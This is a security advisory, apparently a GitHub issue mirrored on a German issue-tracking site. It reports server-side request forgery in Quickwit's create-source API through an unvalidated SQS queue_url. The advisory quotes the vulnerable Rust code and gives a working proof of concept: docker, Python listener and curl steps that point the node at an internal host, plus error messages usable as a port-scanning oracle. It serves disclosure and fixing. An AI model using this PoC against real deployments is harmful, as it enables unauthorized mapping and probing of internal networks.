Server-Side Request Forgery via unvalidated SQS source `queue_url` in the create-source REST API
Maintainer antworten meist innerhalb von 1 Tag
@trinity-1686a arbeitet bereits daran.
Seit 18.8.2026.
Bewertung
Dieses Issue wurde noch nicht bewertet.
Beschreibung
reported on 21 June 2026 via email and then via https://github.com/quickwit-oss/quickwit/security/advisories/GHSA-4vcq-7f93-fpj7.
Summary
The POST /api/v1/indexes/{index_id}/sources REST endpoint accepts a file source that uses SQS notifications. The queue_url field of that source is used verbatim as the HTTP endpoint of the AWS SQS client, with no host, scheme, or destination validation. Creating such a source triggers a synchronous connectivity check that issues an HTTP request to whatever host and port the caller put in queue_url. An attacker who can reach the Quickwit REST API (which in the default OSS deployment has no authentication) can therefore force the Quickwit node to send server-side requests to arbitrary internal hosts and ports. The internal service response is reflected back through the API error message, and open, closed, and filtered ports produce distinct errors, making this a usable internal network scanner and service-fingerprinting primitive.
Details
The create-source handler only rejects the local Filepath file source. It does not restrict the SQS notification file source:
quickwit/quickwit-serve/src/index_api/source_resource.rs
fn check_source_type(source_params: &SourceParams) -> Result<(), IndexServiceError> {
if let SourceParams::File(FileSourceParams::Filepath(_)) = source_params {
return Err(IndexServiceError::InvalidConfig(anyhow::anyhow!(
"path based file sources are limited to a local usage, ..."
)));
}
Ok(())
}
SourceParams::File(FileSourceParams::Notifications(Sqs(..))) passes this check and is accepted.
add_source then runs a connectivity check synchronously, inside the same HTTP request, before persisting anything:
quickwit/quickwit-index-management/src/index.rs
pub async fn add_source(&mut self, index_uid: IndexUid, source_config: SourceConfig)
-> Result<SourceConfig, IndexServiceError> {
...
check_source_connectivity(&self.storage_resolver, &source_config)
.await
.map_err(IndexServiceError::InvalidConfig)?;
...
}
check_source_connectivity calls the SQS connectivity check with the caller-supplied queue_url:
quickwit/quickwit-indexing/src/source/mod.rs
SourceParams::File(FileSourceParams::Notifications(FileSourceNotification::Sqs(sqs_config))) => {
#[cfg(feature = "sqs")]
{
queue_sources::sqs_queue::check_connectivity(&sqs_config.queue_url).await?;
Ok(())
}
}
The SQS endpoint is then derived from queue_url with a permissive regex that accepts any http(s)://host[:port], and is set as the SDK endpoint URL:
quickwit/quickwit-indexing/src/source/queue_sources/sqs_queue.rs
fn queue_url_endpoint(queue_url: &str) -> anyhow::Result<String> {
let re = Regex::new(r"(^https?://[^/]+)").unwrap();
let caps = re.captures(queue_url).context("Invalid queue URL")?;
let endpoint_str = caps.get(1).context("Invalid queue URL")?.as_str();
Ok(endpoint_str.to_string())
}
pub async fn get_sqs_client(queue_url: &str) -> anyhow::Result<Client> {
let mut sqs_config = preconfigured_builder().await?;
let inferred_region = queue_url_region(queue_url).unwrap_or(DEFAULT_AWS_REGION);
let inferred_endpoint = queue_url_endpoint(queue_url)?;
sqs_config.set_region(Some(inferred_region));
sqs_config.set_endpoint_url(Some(inferred_endpoint)); // attacker-controlled
Ok(Client::from_conf(sqs_config.build()))
}
pub(crate) async fn check_connectivity(queue_url: &str) -> anyhow::Result<()> {
let client = get_sqs_client(queue_url).await?;
client.get_queue_attributes().queue_url(queue_url).send().await?; // SSRF egress
Ok(())
}
There is no allowlist of permitted endpoints, no restriction to the real *.amazonaws.com SQS hostnames, and no block of private, loopback, or link-local address ranges. The endpoint host and port are taken directly from attacker input.
The SQS source is compiled into every official build. The Dockerfile builds with CARGO_FEATURES=release-feature-set, and every release feature set includes quickwit-indexing/sqs:
quickwit/quickwit-cli/Cargo.toml
release-feature-set = [
...
"quickwit-indexing/sqs",
...
]
The error from the internal request is surfaced to the caller as IndexServiceError::InvalidConfig, which is returned in the HTTP response body. This reflects connection state and partial response content (for example a parse error quoting the first unexpected byte of the internal service response), giving an oracle for port state and service type.
PoC
This was validated against the official quickwit/quickwit:edge image.
- Run a single Quickwit node. On a real AWS deployment the node already has IAM credentials; to reproduce off-AWS, provide any non-empty static credentials (they only need to exist so the SDK signs the request, the attacker-controlled target does not validate the signature):
docker run -d --name qw \
-e AWS_ACCESS_KEY_ID=AKIADUMMYDUMMYDUMMY \
-e AWS_SECRET_ACCESS_KEY=dummydummydummydummydummydummydummydummy \
-e AWS_REGION=us-east-1 \
-p 127.0.0.1:7280:7280 quickwit/quickwit:edge run
- Start a listener that represents an internal-only service the API caller should not be able to reach (here on the docker host, reachable from the container at 172.17.0.1):
python3 -c '
import socket
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind(("0.0.0.0",9999)); s.listen(1)
print("listening")
c,a=s.accept(); print(c.recv(4096).decode("latin1"))
'
- Create an index, then create the malicious source. The
queue_urlpoints at the internal target:
curl -s -XPOST -H "Content-Type: application/yaml" --data-binary @- \
http://127.0.0.1:7280/api/v1/indexes <<'EOF'
version: 0.8
index_id: ssrf-test
doc_mapping:
field_mappings:
- name: body
type: text
EOF
curl -s -XPOST -H "Content-Type: application/yaml" --data-binary @- \
http://127.0.0.1:7280/api/v1/indexes/ssrf-test/sources <<'EOF'
version: 0.8
source_id: ssrf-sqs
source_type: file
num_pipelines: 1
params:
notifications:
- type: sqs
queue_url: http://172.17.0.1:9999/000000000000/internal-queue
message_type: raw_uri
EOF
- Observed result. The listener receives a real request originating from the Quickwit node:
POST / HTTP/1.1
content-type: application/x-amz-json-1.0
x-amz-target: AmazonSQS.GetQueueAttributes
user-agent: aws-sdk-rust/1.3.15 os/linux lang/rust/1.95.0
host: 172.17.0.1:9999
{"QueueUrl":"http://172.17.0.1:9999/000000000000/internal-queue"}
- Oracle. The API response distinguishes target state:
- Open port returning non-SQS data:
service error: unhandled error: Error at offset 0: unexpected token '<'(reflects the internal response content). - Closed port:
dispatch failure: io error: client error (Connect): tcp connect error: Connection refused (os error 111). - Filtered or unroutable host: request hangs until timeout.
Iterating the host and port lets an API caller map internal services reachable from the Quickwit node.
- Vorherrschende Sprache
- Rust
- Sterne
- 11.8k
- Forks
- 628
- Ø Merge
- 2 T. 22 Std.
- Gemergte PRs (30 T.)
- 50
Entwicklungsumgebung
Startet den Dev-Container des Projekts im Browser, mit Ihrem eigenen GitHub-Konto.
- Enthält ein Dockerfile oder eine Docker-Compose-Datei
- Hat eine Pull-Request-Vorlage
- Beitragsleitfaden lesen
Erste Schritte
- Lesen Sie das ganze Issue und danach den Beitragsleitfaden des Projekts.
- Schreiben Sie ins Issue, dass Sie es übernehmen — das erspart doppelte Arbeit.
- Forken Sie das Repository und arbeiten Sie in einem Branch.
- Öffnen Sie einen Pull Request, der die Issue-Nummer nennt.
Mehr aus quickwit-oss/quickwit
-
area:otel documentation
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 68/100
quickwit-oss/quickwit#6686 ·
Maintainer antworten meist innerhalb von 1 Tag
-
Add some examples of requests in the REST API reference docsEvtl. vergeben @Cunninger hat das vor 89 Tagen übernommen. Offenenhancement good first issue
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 78/100
quickwit-oss/quickwit#4266 · 1 Kommentar ·
Maintainer antworten meist innerhalb von 1 Tag
-
documentation
Schwierigkeit 1/5 Unter einer Stunde Anfängerfreundlichkeit 65/100
quickwit-oss/quickwit#3872 ·
Maintainer antworten meist innerhalb von 1 Tag
-
documentation
Schwierigkeit 1/5 Unter einer Stunde Anfängerfreundlichkeit 65/100
quickwit-oss/quickwit#3666 ·
Maintainer antworten meist innerhalb von 1 Tag
-
enhancement
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 65/100
quickwit-oss/quickwit#2769 ·
Maintainer antworten meist innerhalb von 1 Tag
Alle Issues in quickwit-oss/quickwit
Ähnliche Issues
-
Schwierigkeit 2/5 Ein halber Tag Anfängerfreundlichkeit 72/100
The-Swarm-Corporation/swarms-rs#168 ·
Maintainer antworten meist innerhalb von 1 Tag
-
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 66/100
farion1231/cc-switch#10071 · 1 Kommentar ·
Maintainer antworten meist innerhalb von 1 Tag
-
[M09] Silence parser misreads ffmpeg times in scientific notation (6.25e-05 → 6.25 s)Evtl. vergeben @G-darshan-32 hat das heute übernommen. Offenbug
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 78/100
clipy-recorder/clipy#164 · 1 Kommentar ·
-
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 68/100
superradcompany/microsandbox#2191 ·
Maintainer antworten meist innerhalb von 1 Tag
-
p2 ready-mac
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 75/100
Maintainer antworten meist innerhalb von 1 Tag